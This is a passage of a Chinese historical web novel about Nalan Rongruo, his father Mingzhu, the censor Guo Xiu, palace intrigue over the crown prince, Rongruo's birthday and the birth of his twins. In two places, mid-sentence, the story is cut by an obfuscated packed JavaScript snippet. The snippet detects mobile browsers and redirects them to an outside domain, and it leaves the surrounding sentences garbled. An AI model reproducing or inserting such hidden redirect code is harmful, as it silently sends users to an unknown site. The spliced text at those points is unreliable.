彭定求也站了出来,指责郭琇:“你胆敢仗着徐乾学在背后撑腰,就自以为是大言明珠大人之过失,是没把康熙皇帝和纳兰公子放在眼里!你这副不怕死的模样,究竟是真的想做一个骨鲠大臣?还是为了名垂史册而不折手段、甘愿为徐乾学所煽动?” 一个资历老的翰林道:“郭琇,你今日刻意来闹,居心险恶。莫说我这翰林院容不下你这等无礼之人,就算是老天爷,也看不惯你这般把自己当作‘青天’的高姿态。纳兰公子未嗔怒于你,你已是应当自省谢罪。” “你叫郭琇,虽今日你我才第一次见面,但此前我就对你印象极深。” 容若面对眼前的大汉:“你要做的一些事,或者说一些大动作,‘扬言’跟‘得逞’的区别就在于:没干成,朝思暮想;干成了,刻骨铭心。你需自己掂量掂量,你郭琇以扳倒明珠父子和铲除明党势力为成名之道,证明了你的能耐又如何?后世记得明珠父子之名的人,必定是比‘郭琇’二字要多。” 容若冷看了徐乾学一眼。 又对郭琇道:“你要是敢为徐乾学所用,千方百计想成为第二个于成龙来弹劾我阿玛明珠,日后的铁面御史之名,就会跟徐乾学的良师之名一样,永世被明眼人所鉴别、所唾弃,不得安宁。” 郭琇仰天大笑,只自傲道:“纳兰公子以为,吓唬郭某有用?” “我非吓唬你。”容若不喜眼前人,“你的本心和本性唯有你自己清楚,历朝历代,廉吏御史无别,水至清则无鱼,心至高则忘本,如是而已。” 郭琇不认此理,“于成龙于青天践任民间,我郭琇郭青天捋正朝纲,庙堂内外,尽忠康熙皇帝,早晚灭了明索两党威风、斩断佟国维的佟半朝妄念!” “容若言尽于此,听或不听,在你。” 公子转身离开,不与之再费口舌。 * 另一边。 钟粹宫传出了“皇太子感染风寒,咳嗽不止”的消息。 荣妃见状大受惊吓,慌忙叫人去请了太医和惠妃一并来瞧。 她就怕皇太子有所闪失,那别说自己妃位不保,怕是整个后宫都没法好好过年了。 惠妃过去之后,坐到了一脸憔悴的荣妃身边,道:“妹妹也不要过于担心,小孩子总是易病的,验过了太医开出的方子无误且让皇太子服下之后,先叫人去慈宁宫回了太皇太后,等太皇太后的意思下来了,再去回了皇上就是。” “皇上视皇太子为心肝,皇太子真要是有什么好歹,”荣妃用手绢擦了擦眼角,“何止是我这抚养他的母妃,整个后宫都要笼罩上一层乌云啊。” 惠妃握了握荣妃的手,“妹妹,你对皇太子并无照顾不周之处,一定要把心宽下来才好。” 荣妃稍稍放平心情,道:“臣妾倒是不明白了,今早照例去景仁宫给皇贵妃娘娘请安的时候,皇太子都还好好的,怎么臣妾这前后脚离开的功夫,皇太子就着凉染病?” 惠妃问:“太医是怎么说的?” 荣妃重复道:“太医说是季节性的风邪感冒,但也不能小觑,更要仔细应对。惠妃姐姐,臣妾琢磨着,这太医像是话里有话,不好明说:因何不能小觑、要如何仔细应对?” “妹妹,近日钟粹宫可有什么可疑的人来说?皇太子的寝室之内,可有疏漏之处?平日里照顾皇太子饮食的太监宫女,有无谁遭了不公平的冤屈?” 荣妃仔细一想,道: “近日我这也就只有皇上来过几回,其余各宫的主位都在准备年礼,或是托人送回家中,或是分赏给宫中的下人人,并无闲暇串门的功夫。” “皇太子在寝室中并无哭闹迹象,皇上也夸他小小年纪、就存男儿之志,将来大有可为。至于照顾皇太子的身边人,都是皇上亲自安排的,臣妾也难说其中是否有表里不一者啊!臣妾总不能亲口向皇上问去吧?” “以防万一,妹妹你还是当面问问皇上的好。”惠妃建议,“前有先皇后的第一子承祜,遭了索党不公正打压而下药报复之事,今儿先皇后的第二子已经成为皇太子,人心叵测,大意不得。” 荣妃点了点头:“是,臣妾听惠妃姐姐的。” * 明府饭厅。 容若胃口不佳,大抵是因郭琇而起。 “怎么了?”明珠亲自给儿子夹菜,“谁惹我明珠的儿子一时不高兴,我明珠就让谁一辈子都高兴不起来,甚至拿了那人的性命也在所不惜。” “徐乾学如今是烂船也剩三斤钉。那些依附于他的门生,非但没有弃他而去,反而受了他的蛊惑与煽动,誓与‘明索两党’和‘后起的佟党’为敌。” “冲在阵营前列者是谁?” “郭琇。”容若不悦道,“嚣张跋扈,比于成龙有过之而无不及。于成龙再如何跟明党过不去,也没有玩弄心术。但是郭琇不同,受徐乾学点拨教导,心术早已不同往时,日后不知道会用什么卑劣手段来针对明党。” “老天爷阻了徐乾学的青云路,却让他找到了搞事情的新路。哼——”明珠脸色沉暗,“当真是如他老家钱塘江的潮汐,来来去去,永无止境。” 觉罗氏道:“老爷,不怕恶徒怕小人,尤其是那种:自以为天理在手,就能自成青天、替天行道之人,您更是要提防着些啊!” “夫人所言极是。”明珠点头,“郭琇还没有入康熙皇帝的眼,就这样不把我明珠和容若放在眼里,该叫他吃点苦头。” “公子,喝点小米粥吧!” 卢氏给容若盛了一碗暖粥,递到夫君面前。 觉罗氏关切道:“儿啊,今日的小米粥加了红枣,微甜,你爱吃的。” 容若进了一碗,却是感觉吃过与未吃无别。 他见盘中的牡丹酥造型别致,遂取了一个来吃。 容若问;“阿玛,您仔细盘点一下,明党之人有多少在郭琇手下栽过?“ 揆叙和揆方见明珠一副“想想旧事就生气“的神色,一句不敢多说,只坐直了身子听阿玛和长兄之间的对话。 “先是本官向皇上举荐的治水能人靳辅,被郭琇公报私仇连上三道折子指罪,称靳辅治河措施不当,导致江南百姓困于水患。康熙皇帝罢了靳辅的‘河道总督’之职、摘了佛伦的户部尚书的顶戴,而郭琇则晋升 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751600|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金都御史。” 容若恨道:“史官称为:参河臣疏。郭琇是称心如意了,连带着他的拜把子兄弟于成龙也大呼痛快。儿倒是不明白,江南地区何时河水泛滥了?靳辅治河的重心几时在江南段了?这不是明摆着郭琇为了弹劾而弹劾吗?阿玛您能忍?” “后是本官的左膀右臂高士奇和王鸿绪,一并被郭琇劾奏结党营私。说是:高士奇为明珠第二,四处招摇撞骗、礼单长如流水。康熙皇帝当时正在跟高士奇吃御膳,得了郭琇的奏章,随即责令高士奇留下冠带,暂离朝纲。而王鸿绪则是丢官卸任、革职查办。郭琇本人晋升一等谏官。” 容若气道:“史官称为:骨鲠大臣,拔高除王。郭琇名声大振,幕后操纵之人徐乾学想必也是彻夜欢歌。话说回来,高士奇的才能在口舌、在书法、在处世圆滑;王鸿绪与儿一样,以文采见长,连陈廷敬都自愧才不如王。结果,在郭琇的折子里,就成了:高士奇巧舌如簧,人人恨之;王鸿绪才为官用,学而谋利吗?” “还有余国柱,人称阁老。却遭郭琇上书:与明珠朋党倾扎,祸患大清,晚节不保——” “罢了阿玛。”容若摇头,“别说了,儿不想也不忍再听。” “长兄。”揆叙叫了一声。 “我没事。”容若揉了揉太阳穴,强打着精神,“都说:不平则鸣。到如今,廉吏之害未尽,御史之弊又来,我是替阿玛也替明党忧心啊!” 明珠见容若精神不好,怕容若的身子出现什么状况、难熬寒冬,便叫了揆叙和揆方先一步陪长兄回房。 同时,他也对卢氏叮嘱:“尔谖,今晚忙完家事,早些回房去陪着公子。“ “是,阿玛。“应完,卢氏起身告退。 “夫人。”明珠对着一桌晚膳轻叹,“你说本官和郭琇,谁错的厉害?容若是遭了本官还是郭琇的气,才会愠怒于心、伤神伤身?“ 觉罗氏劝道:“老爷切勿自责,否则称了徐乾学的歹心,伤着的还是咱们儿子。郭琇本就不是什么善茬,现在又为徐乾学所用,只怕是日后针对老爷的诡计——只多不少、只增不减、只刚不柔。老爷您一定时时处处提防才是。“ * 待到回房,容若觉得恶寒,犹似寒症忽来。 本着不想给阿玛和额娘添扰的仁孝之心,他只独自上床,拥被而坐。 卢氏进门之时,他唤爱妻的名字,却是偏头挪身都觉得乏力。 卢氏赶紧吩咐丫鬟去准备热水和新炭,然后坐到夫君身边,为夫君披衣和送上暖手的小铜炉。 容若愧疚道:“原本明日想与你一共出去走走,去看云端雪山和近处枫树,这会儿却是不成了,怕是要你照顾着。” “病来难挡,公子好好养着。”卢氏字字真切,“阿玛额娘那边,还有袖云妹妹那里,尔谖都会兼顾着。” “年关事杂,家计和家事也是全都劳着你。”容若靠在爱妻身上,“今晚你回房回的晚,我便是知道家中事务繁多,你料理需要时间,已是最善和最速。” 两个丫鬟各自拿了热水和新炭进来。 卢氏叫她俩先暖炭,自己倒水出来,端与容若饮下。 又见容若咳了几声,就轻轻顺了顺夫君的后背,一边安慰:“尔谖陪着公子,公子哪里不适,一定不要忍着,都要告诉尔谖才好。” 容若用爱妻的帕子捂了捂嘴,也不愿看自己是否咳了血,就叫丫鬟过来把帕子拿走处理掉了。 复饮完热水,容若轻轻抒出几口气来,自谂含笑。 卢氏见夫君强作“无需担心”的模样,道:“公子别瞒着,尔谖不是受不了急症的女子,你是尔谖的夫君,尔谖有责任了解夫君状况。” 看着爱妻心疼的表情,容若缓声道:“寒症来后,我卧床不起,什么都做不了。头疼脑热,浑身疼痛,还会伴随着呕血或昏阙,总是惹人难眠难安。世间得寒症的人少,我属之一,难挨已经多年。” 卢氏垂眸,却不见容若额头发冷汗或是热汗。 容若觉察到爱妻的心思,平静道: “郎中说我是不汗的体质,冷热在骨骼和肌肤之间交织,要紧起来也是极其要紧。我对习惯了的病痛,求好也不是,示弱也不是,多时等待着、消耗着,直到那一段时日的难受过去,才自己重回了精神来按部日常。” “公子。”卢氏温和,“病之来与病之去,人如抽丝,总不会伴着你一辈子如此。等到这个阶段的苦难过去了,往后就好了。” “佛陀说,人世苦炼,莲台灼灼。我深以为然。”容若心入佛法,“待到无涯之海航尽,便可修得金刚不坏身。” “如是我闻。尔谖盼着公子如愿。” “你愿与我谈禅理、悟佛法吗?”容若问她,“般若菩提,能解疾苦。” “尔谖愿意。”卢氏诚心,“词由心生,心自有莲开;病由天来,天自识长短。《经》有悟,胜却它思。” “我觉得有些困了,想要这般模样睡下……” 过了会儿,容若合眸,斜倚半身。 是夜,容若靠枕在卢氏怀里而眠。 窗外风雪交加,声声惊窗栏; 房中明烛暖炭,暧暧不知公子神游何处。 卢氏保持着姿势不动,只把自己的脸贴近容若温烫的额头,情到深处,反倒是不着泪。 【注1】 郭琇:康熙朝铁面御史,师从佞臣徐乾学。明珠六十大寿之日,当着众人的面弹劾明珠,导致明珠和明党倒台。 后郭琇被康熙皇帝革职,徐乾学美言称:“皇上这么做是为了保护你不被明珠余党暗杀。”晚年郭琇看清徐乾学面目,方知自己被徐乾学所利用,惶惶不可终日,死于家中。 史册称郭琇:仇谤沸腾,受指于徐乾学,结拜于成龙,廉而弄(作弄臣解)。帝(指康熙皇帝)悔恨听信郭琇谗言(指于成龙与明珠不和,利用郭琇上书报复明党的靳辅),而错罚治河功臣靳辅。 157.第157章 容若就这么在家中养着,直至生辰将近。 好友张纯修前来探望他,给他带来了自己的新画和新书法。容若起身来鉴,颇爱画中的喜庆纳福之意和字里的刚劲活力。 张纯修趣道:“如今禹之鼎的《甘蔗图》虽是被地方官送到了皇宫中,但是江南地区对禹生画作的炒价热度仍旧不减。甚至有个经营花圃的林老板,拿出了一幅祖传的顾恺之的真迹《柿子图》来,引来了千里之外的百姓的围观。” “我手中没有顾恺之的画。”容若遗憾道,“就当作禹之鼎真的是得了顾恺之的真传,是其在后世的最佳画技和神韵继承人。” “我也是自愧弗如啊!”张纯修叹茶,“我自诩是天下画师前三,奈何却是只会画山水疏于做人文。我画不来人物肖像,所以日后容若你要画小象,还得是由禹之鼎来画。” “禹之鼎青出于蓝而胜于蓝,多得了一新技能:能画西洋人和西洋建筑。”容若告诉好友,“现在他的眼界大开,归国后画技应是大为精进。” “算了,不说禹生了。”张纯修拿出一只“定顺斋”的镇纸来相赠容若,“此物难得,老工匠费了毕生之力才打造出来,不按银子按缘分卖。我说自己要此物当作纳兰公子的生辰礼,老工匠当即点头,说:‘纳兰公子讲究文具,好物与才思相配,当得当得。’今日我便提前带来给你。” 容若接过那对份量沉沉的镇纸来看,果然悦心不已。 雕工精湛,不负玉石圆润冰清,触之而细腻亲和;造型生动,犹如深山仙兽跃然眼前,梅鹿呈瑞;大小正好,一对分设左右,增雅添趣,可涌文思,可促灵感。 “好物,好物啊张兄!” “契合你的品味就是上乘之物!”张纯修神色朗朗,“得纳兰公子倾心笑颜,我之幸。” 过后,容若笑道:“生日便是讲究规矩,只能提前过而不是推后过,能够当日过就是最好。” 见好友笑归笑,语调却是带伤,张纯修问:“怎么了容若?” 容若轻抚着镇纸的梅鹿鹿背,道:“我旧时生日,被廉吏于成龙搅了场,然后我自己圆了场,宾客们都是站在我这一边,看于成龙得了应有的罪果。” 张纯修唾弃道:“于成龙拿‘露水’易逝、生死无常咒你,谐音明府所占的名所‘渌水’亭,本就是该死,只是贬官去广西,已经算是便宜他了。” “嗯。如你所说。” 容若面色平和,心中却已是担虑渐生。 “我一年一年地增长岁数,阿玛明珠却是一年一年地老去,等到阿玛的生日被以‘大寿’相贺之际,我只觉得诸事难料,担心……会不会不败于官场,却一招不慎,招惹小人郭琇而落入其精心设计的圈套,败于名利场。” “张兄,你莫怪我心胸为何会因为一个郭琇而困于这等地步。“ 容若边说边摇头,”我是一路见证着那个浓须大汉几乎没有间断地——参各路官员要员一本、弹各级文武高管几疏。而郭琇自身,却是节节高升,只怕日后就要成为左都御史了。” “明珠大人也在那个职位上坐过。” “可阿玛在任左都御史期间,做的件件都是实事啊!像是《湖心亭看雪》案子,查证了张岱虽有故国心但无谋反心;像是《若词王诗》案,证明了我的清白和徐乾学的小人之心;像是《裕亲王与施道渊》案,消除了皇上自生的疑虑,牢固了兄弟情分……” “正是因为明珠大人在其位尽其责,得到了康熙皇帝的信任,晋升高位。”张纯修一语道破,“所以郭琇才容不下你们父子、以为扳倒了你们父子他自个就能名利双赢啊!因何郭琇愿意为徐乾学效力、结拜于成龙为义兄,这不就清楚了吗?” 容若应了声:“唔。” 后起身与张纯修一起到渌水亭走动过。 * 夜间,正妻卢氏陪容若在房间里围炉煮茶。 容若思忖着,有些话只能对她说:“尔谖,我对自己的生日平静如水。自然而然地就多想了阿玛的六十大寿、七十大寿,也不知道到时候自己能否在他膝下尽孝?” “以公子之能,除掉廉吏于成龙和御史郭琇绰绰有余,之所以不那样做,都是为了阿玛着想吗?” “我方才对着铜壶静思,康熙皇帝是个念旧恩的人,将来能得个‘仁’字来概述一生也未可知。故而真到了明珠被郭琇拉下水得那一天,我想康熙皇帝也不会对明珠赶尽杀绝,会给明珠一个善终的机会。” “公子如此做赌,心里可是有数?” “要说阿玛在官场上没有污点,也不见得;要说阿玛的一切贪与嗔有无到祸国的地步,我想未必。大清国之所以存在买官卖官和官员行贿的乱象,大前提还是一个人情面。人情面前后的事,要是都按错行来论,那即便是康熙皇帝也是难料理对错的。” “公子心中,仍旧尊敬阿玛和念着阿玛的好。” “知父莫若子,阿玛的良举与错行我都看在眼里,所以我只对你说:在我看来,明珠功大于过,过虽难为史册所泯灭,但功在除鳌拜、平三藩、策台岛。乃至是朝纲的稳固,也应算是明珠的功劳,如果没有明珠端平天枰两端,索党会更加无度、佟党会更加莽撞,到头来备受煎熬的还是康熙皇帝。” 容若温茶而问:“尔谖,在你看来纳兰父子如何?” 卢氏微拨小泥炉中的红炭,道; “我想是心意相通。公子由自己的生日想到日后阿玛的大寿,已是开始后顾种种人祸与时弊;尔谖也从额娘口中听得,阿玛希望今年公子的生日能过得顺畅舒心,叫家里上下一切都要以公子的心情为准,阿玛还交代家仆,凡事擦亮眼睛,不要错放了不该进的宾客进来。这正是近忧与远虑同存,父子同心的表现。” “你看,别家的公子或是世子过生日,都不似我这般要向爱妻成夜倾诉心事——” “尔谖不与公子论‘成夜’,只愿开窗与公子闲‘乘月’。”卢氏提壶斟茶,“在尔谖心中,纳兰心事等同于彼此之间的‘煮茶共语’光景。” “今晚月色,真好。” 容若看向窗外,冰轮如玉盘悬空,清晖落袖而荡银河。 “是啊,着影轩窗,更有茶香。” 卢氏与夫君双双仰头而望—— 蟾宫嫦娥,桂侧玉兔,应是羡人间。 纵然人间多繁杂多苦恼,也有解忧过后的清欢时。 * 卢氏夹了一块烤好的豆沙年糕到容若盘中,道:“寒冬还是要吃些软糯香甜的东西好。” 容若却是礼让着叫爱妻先吃。 “我生日宴席上的菜肴,这二十多年来从未重过样。所以尔谖你一定要陪我过每一个生日,纵使是没将菜肴吃遍,也能领略一番摆盘美感。” “不止是生日,尔谖年年岁岁,都跟公子在一起。” 容若含笑:“绝不食言?” 卢氏点头:“答应公子,决不食言。” 此时,容若还只当自己的命数天意有定,会在卢氏之前登大乘而去,因而格外珍惜与她在一起的日子。 他并不知道,卢氏只陪伴他度过了三载春秋和三次生辰,就先一步与他天人永隔。 所以他纯粹至极,把相互间的诺言铭记在心,宁信老天爷会让他如愿,如愿自己仙去之时,卢氏相守床侧,泪过别过,她还能重新振作,与侧夫人颜氏作伴,一同抚养子女长大。 二人偎依在围炉侧,看了好一会儿月与雪,才倦觉应睡。 容若完美的脸上,一直浅浮月色而笑,好似已经忘却之前的一切不快之事,只与爱妻一同迎接生日、面对未来就足够。 “我亲自为公子裁制了一套新衣,公子不妨明日试穿?” “你做的衣服,件件合身、不输外头那些以讹传讹的‘纳兰公子私服一套开销五万金’的舆论。我乐意现在就穿给你看,也乐意穿着新衣进出皇宫。” “今年我是当作给公子的生辰礼物准备的,所以——” “你花了更多心思,倾注了更多日夜,一针一线,皆是思我念我想我,我更当珍惜才是。” 容若随卢氏到屏风后,替换了那套他觉得心意与暖意都备至的新衣。 原本容若不喜欢在夜间对镜,现在却不由自主地走到镜前,打量全身。 “日后我得了朝服顶戴,也要像今日这般,让尔谖你亲自帮我穿衣佩戴。” “是,尔谖知道:公子要的不是华服官服的仪式感,而是每一件衣装俱来的温度。公子平日里常常双手握杯暖茶,因此更衣之时的心情——”卢氏执起夫君的手,深情对望,“早已传递入尔谖心中。” 这一夜,容若在爱妻身边睡的极好。 待明朝,自寻一番好心情与好天气,就是生辰前的佳境。 * 纳兰容若生日当日。 康熙皇帝下了早朝后,就直接去了养心殿。 在殿内心不在焉地温书半晌之后,康熙皇帝直接走出了御案之外,向着某处标的物的方向。 梁九功站在一边,一手拿着拂尘,一手拿着一件厚实的秀着盘龙图案的御寒大氅等候。 许久,他问顾总管:“干爹,万岁爷就这么站在菩提树下淋雪,奴才是劝得还是劝不得啊?” “这是你梁九功能劝的吗?”顾问行一挑眉,“除了纳兰公子本人,谁也劝不动万岁爷。” “那可如何是好?”梁九功为难了,“太皇太后要是怪罪下来——” 顾问行提点道:“还不赶紧地叫人去明府传信!” 梁九功快速应道:“是,奴才这就叫人去请纳兰公子进宫。“ “糊涂东西!”顾问行一声喝住徒弟的脚步,“是派人是把万岁爷的情况告知纳兰公子,不是叫纳兰公子到万岁爷身边。公子要是来了,万岁爷死要面子不承认自己心中怅然若失,挨罚的就是你。” “唉!”梁九功打了自己一巴掌,“奴才都按照干爹的意思来办。” * 康熙皇帝默默走回了养心殿。 顾总管端上了一杯适应万岁爷的口感的碧螺春:“万岁爷,您喝口茶吧!” “朕,这是在自修苦果啊!” “人生在世,本就是一场苦修,万岁爷您何必自恼?” “朕的侧臣纳兰又长大一岁了,他陪伴朕的年岁又多了一载。可是朕的丰功伟绩,除了擒拿了鳌拜、斩杀了吴应熊、处死了朱三太子和治理成功了河运漕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14763863|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运之外,又有什么值得让纳兰认可和作词写诗称颂的呢?” “现在后宫人心安稳,天下百姓安居乐业,万岁爷您早些把《天工开物》的原稿拿到手,赐给纳兰公子,纳兰公子一高兴,给您献上几条拉拢前明士人的策略,让您成为那些激进分子眼中的明君,可不就是又干成了一番名垂史册的帝王功绩吗?” “你怎么知道朕想把《天工开物》给纳兰?” “万岁爷您是最懂得纳兰公子爱书识书的人,公子什么都不缺,唯独是一些难得的字画和原稿,都喜欢着和稀罕着呢。” 康熙皇帝定神一笑。 总管大太监顾问行伺候天子久了,果然是句句话都说到了点子上。 “朕说过要给纳兰的十四瓣金刚菩提子手串,至今都还是自己收着,没有给他。” “万岁爷您要不给纳兰公子安排官阶的时候,就一并将手中之物给他?” “朕打算等到纳兰三十岁以后,再给他。” “奴才斗胆,问问万岁爷:这是何故呐?” “三十岁是而立之年,也是人活在世的关键之年,性情和家业早已定型,也许到了那个时候,朕和纳兰都能够把彼此看得更清楚一些。” “万岁爷圣明,看来三十岁的时点,的确是最好的。” 康熙皇帝叫了顾总管和其余太监宫女都退下,自己想独自静一静。 方才对望菩提树,只感觉万物空灵,都向渺茫处。 却又可以感知心中的靠岸之地,不至于不知何所往。 一切向前推进的轨迹,都在朕的掌握之中。 欢欢喜喜地过完一个皇家年之后,就是将佟国维之女景茵珠等新人都纳入后宫,然后再给纳兰一个正式的官位。 至于给他什么官位好,只要遵循一个大前提——不许他离君侧离的太远就好。 他的阿玛明珠,近来遭到了不少弹劾,奏章虽都是匿名形式,但朕也不好完全放任,只得在口头上做出警示,看明珠自身是否收敛。 可明珠收敛又有何用?索额图就会有样学样让大清少两个权臣吗? 明索二人左右分持朝纲的这十几年来,朕并未感到憎恶: 罪臣鳌拜是自大自傲,未把朕放在眼里,所以朕为了自身的威严和大清的将来,不得不除他囚他杀他。 明索二人却是在玩弄权术和敛财私贿之中,听从于朕、效命于朕、服从于朕,他们二人均是把朕视作大清天子,未起过谋逆之心。正因如此,朕才容得下此番现状,不对他们二人按照律令定罪。 康熙皇帝自盘菩提子。 在清淡的禅香味中,考虑国事,考虑纳兰事,终于是悟得禅理。 百零八颗菩提子,寓意人生圆满。 千古一帝君臣缘,当如菩提,开花结果,年岁沉淀,愈加见真。 * 容若生日宴后的当晚,与卢氏夫人在房间中安静温情闻香。 “今日生辰一切顺利,我祈盼诸愿成就。”容若看着眼前人,“有尔谖你陪着我,是我最大的自在安然。” “宫里的人来找公子的时候,我以为是皇上要叫公子进宫去伴驾。” “皇上和太皇太后的贺礼,三日前就已经送到。半途打搅我的生日宴,也不是一个天子该做的行动,所以我就猜到:是梁公公按照顾总管的意思,遣人来办事。” “公子觉得,皇上的心里到底在想什么?” “正因为我跟皇上年龄相近,故而我才能更深入地去体会皇上的心思:皇上想要立业,他将此前自己干成了的事,都称为成果,才促成了当下的焦虑。所以不可说皇上的空蒙状态,全与我相关。” “空蒙,是何意?” “盛世画卷有缺,山河蓝图欠全,谓之空;揪心于党争事,规避于后宫事,在乎于纳兰,谓之蒙。尔谖,我有预感,等我的孩子降生于世之后,就该结束这三年的居家赋闲生活了,皇上对我的仕途早已有所打算。” “那阿玛——” “我知道。”容若点头,“对付索额图比对付明珠容易,对付明珠比对付我容易。所以我没把皇上的路数往太好的方向去想,一方称心,另一方必将失心,康熙皇帝和纳兰性德,相辅相成,此消彼长,一对彼此对彼此都了然于胸的君臣、挚友、知己而已。” 卢氏细心地为夫君铺纸研墨,为他创作一番诉词意境。 容若从细节之处知爱妻的深挚:纸张用的是容若自己设计图样的予辚纸,墨砚用的是夫妻二人一同定制的泼茶徽墨,镇纸则是选取了张纯修送的一对青玉梅鹿。 此三物,曰:妙感、妙境、妙摆。 这就是《明珠家事》当中所记载的“三妙”之说了。 后人每每读至此页,无不说纳兰性德与妻卢氏情深似海。 * 上床安置之前。 容若把一颗自己从“济国寺”的方丈处请回来的千年菩提子,放入一个雕工精美的木盒中。这是他每年生日之夜的必做之事。 他与菩提子共生,出尘若青莲,他愿把静好岁月与未来年华,都收归此处。 他集菩提子如晤,淡似风烟一抹,他的心事和文章,应着瓣瓣阿那般若香。 158.第158章 颜氏侧夫人生产当日,明府上下井然有序。 明珠夫妇坐镇在正厅之中,等待着孙辈的降生;卢氏正夫人在产房内陪伴,看接生嬷嬷和打下手的丫鬟们按照步骤忙活;容若遵循着男子不可进产房的规矩,在门外静立等候。 觉罗氏怕容若不耐风不耐冻,就叫人把儿子劝回了身边。 容若倒也应了额娘的话,与家人一同在正厅侯着佳音。 产房内传出婴儿的哭啼声时,容若欣喜地从椅子上跃起。 “是一男一女,双生儿!”容若高兴,“我听出来了,是双生儿。” 明珠和夫人相互开颜而笑,都是连声道:“好,好啊……” 有嬷嬷前来回话:“恭喜长公子,恭喜大人,恭喜觉罗夫人,颜氏侧夫人诞下双子,母子平安。” 觉罗氏催道:“快,快把孩子抱过来给公子看看!” “是。”嬷嬷满是喜悦,“奴才这就去把双子都抱来。” 嬷嬷领着两个丫鬟把长子富格和长女苌情再次踏入正厅的时候,容若迫不及待地迎了上去,一边瞧着自己的骨肉,一边问:“嬷嬷,你可向袖云传递过我的问候了?” “是公子,奴才都说过了。”嬷嬷笑道,“颜氏侧夫人这会累,正由卢氏正夫人陪伴着、躺些着呢。照着咱们满人的规矩,公子要等明儿天亮以后,才能进去看侧夫人。” “好,我都照着规矩来。”容若回头,朝明珠和觉罗氏,“阿玛额娘,富格和苌情都很健康,还向阿玛和玛法玛姆笑呢。” “来。”容若把双生儿放到丫鬟手中,“小心,抱过去给阿玛和额娘看。” 明珠笑道:“纳兰家能够延续香火,就是容若在尽孝。本官看孙儿孙女都明朗可爱,将来定是不会辜负本官的期望。” 觉罗氏轻抚小孩子的脸庞,道:“妾身希望男孩能够一脉相承纳兰家风骨,女孩能够嫁个好人家,二人将来的人生道路,都要顺顺当当的才好。” 另一边,产房之中。 卢氏对颜氏贺喜道:“妹妹今日为公子为纳兰家立下大功,一胎双子,是天赐的福气。接下来一定要养好身子,等到坐褥的时日过了,再操持家事和温梦公子不迟。” 颜氏谦婉道:“多亏了正夫人寸步不离地照料,袖云才能平安诞子。经历过了这一关,袖云感觉身心轻松了不少,反而是愿意叫自己放下诸多拘束来安安心心地睡一觉了。” 卢氏拿开床屏上的软靠垫,慢慢扶颜氏躺下,道:“妹妹辛苦了,产子是人生的难事和要事,这一关要开头顺利地熬过来了,将来再为公子延续血脉也是顺畅的。妹妹好好歇下,等到睡醒,有什么需要的,叫我一声就是,今日明日后日,我都陪着妹妹。” 颜氏感动道:“正夫人不要为了袖云而累着自己才好,这里的事情有嬷嬷和丫鬟们,也是能够伺候的。” “咱们就当作一并是为了公子可好?”卢氏和善,“名份上我是正妻,该对妹妹你相互扶持着;但是日常相处,我却是把你当作妹妹,不分尊卑和先来后到的。” “多谢正夫人。”颜氏心中温热,“我们姐妹,都要一心为公子。” 待到颜氏安睡,卢氏才从产房走出。 就在她轻手轻脚地掩上房门的那一刻,转身,看见了夫君的身影。 “辛苦你了,尔谖。” “不辛苦。”卢氏摇头,“看着袖云母子安然无恙,听到小孩子的哇哇哭声,我心中反而是高兴。公子大喜,长子和长女都健健康康。” 容若牵着爱妻的手往房间走。 他为她准备的安神的桂圆红枣汤和自命名为“笛月参菩提”的酥饼。 看着爱妻将温补的药膳汤喝下,容若关切道:“我晓得今夜放不下袖云,会在她的房间处陪着,我劝你也劝不动,就想着与你同步调,也不一夜尽眠了,只好好守着富格和苌情。” 卢氏放下汤勺,双手握着夫君的手,道:“公子不要着了夜里的寒凉,不然我与明府上下都担心。孩子放在床侧的摇篮处就好,公子你还是需要在床上侧卧着的。” “好,那就依你所说。”容若温声,“这几日,你我各有所忙,都要彼此照顾好。” 卢氏在饮食过后,便又去向颜氏那边。 容若留在房中,倏地想起那琉璃鱼缸里的小金鱼来。 平日里小金鱼的投喂与换水,都袖云亲自做的;包括替换一模一样的新鱼,也是袖云瞒着他悄悄做的。 他知道袖云的好,所以明白鱼缸里的金鱼——早已不是数年前明珠所送的那几条时,也未说破。 就这么来到鱼缸前,静静观赏冬日里的水中情致,容若温然微笑。 愿年年有余,愿好事有余。 愿我能如鱼得水,再展凌云万丈才。 * 数日后。 裕亲王福全和施道渊施道人前来相贺。 “稀客,稀客啊!”明珠热情相迎,“王爷里面请,施道人请——” “明相客气。” “王爷千万别这么叫。”明珠警惕地摆了摆手,“本官资历尚浅、尚浅呐!” 福全仍旧坚持:“明相何须不承认自己在朝中的地位?本王听说,索额图仗着自己那层‘皇太子的叔姥爷’的身份,私下里早就以‘索相’为称谓了。” “本官可不知情。”明珠故作惊讶,“王爷莫要被索大人的风头所悟,折煞了我明珠啊!我明珠的每一级官位,不靠天不靠地、不靠皇亲国戚的利益关系,全是自己尽忠朝廷换来的。” “明珠大人到底是个清醒之人。”福全终于改了口,“只是有时候聪明反被聪明误,容易陷入思考过甚的迷局之中。” “还请王爷明示——” “本王有所耳闻,那个名叫郭琇的御史,仗着自己的‘铁面无私’之名,三天两头地跟明索两党之人过不去,不是想着折断明珠大人你的羽翼,就是百计断送索额图的幕僚们的前途,连皇上都对郭御史那雪花片似的折子动了气呢!” 入厅坐下以后。 明珠吩咐管家上了茶,才问:“王爷您一直在家里休养生息,怎么朝中的风声一丝都没有错听漏听在耳?” 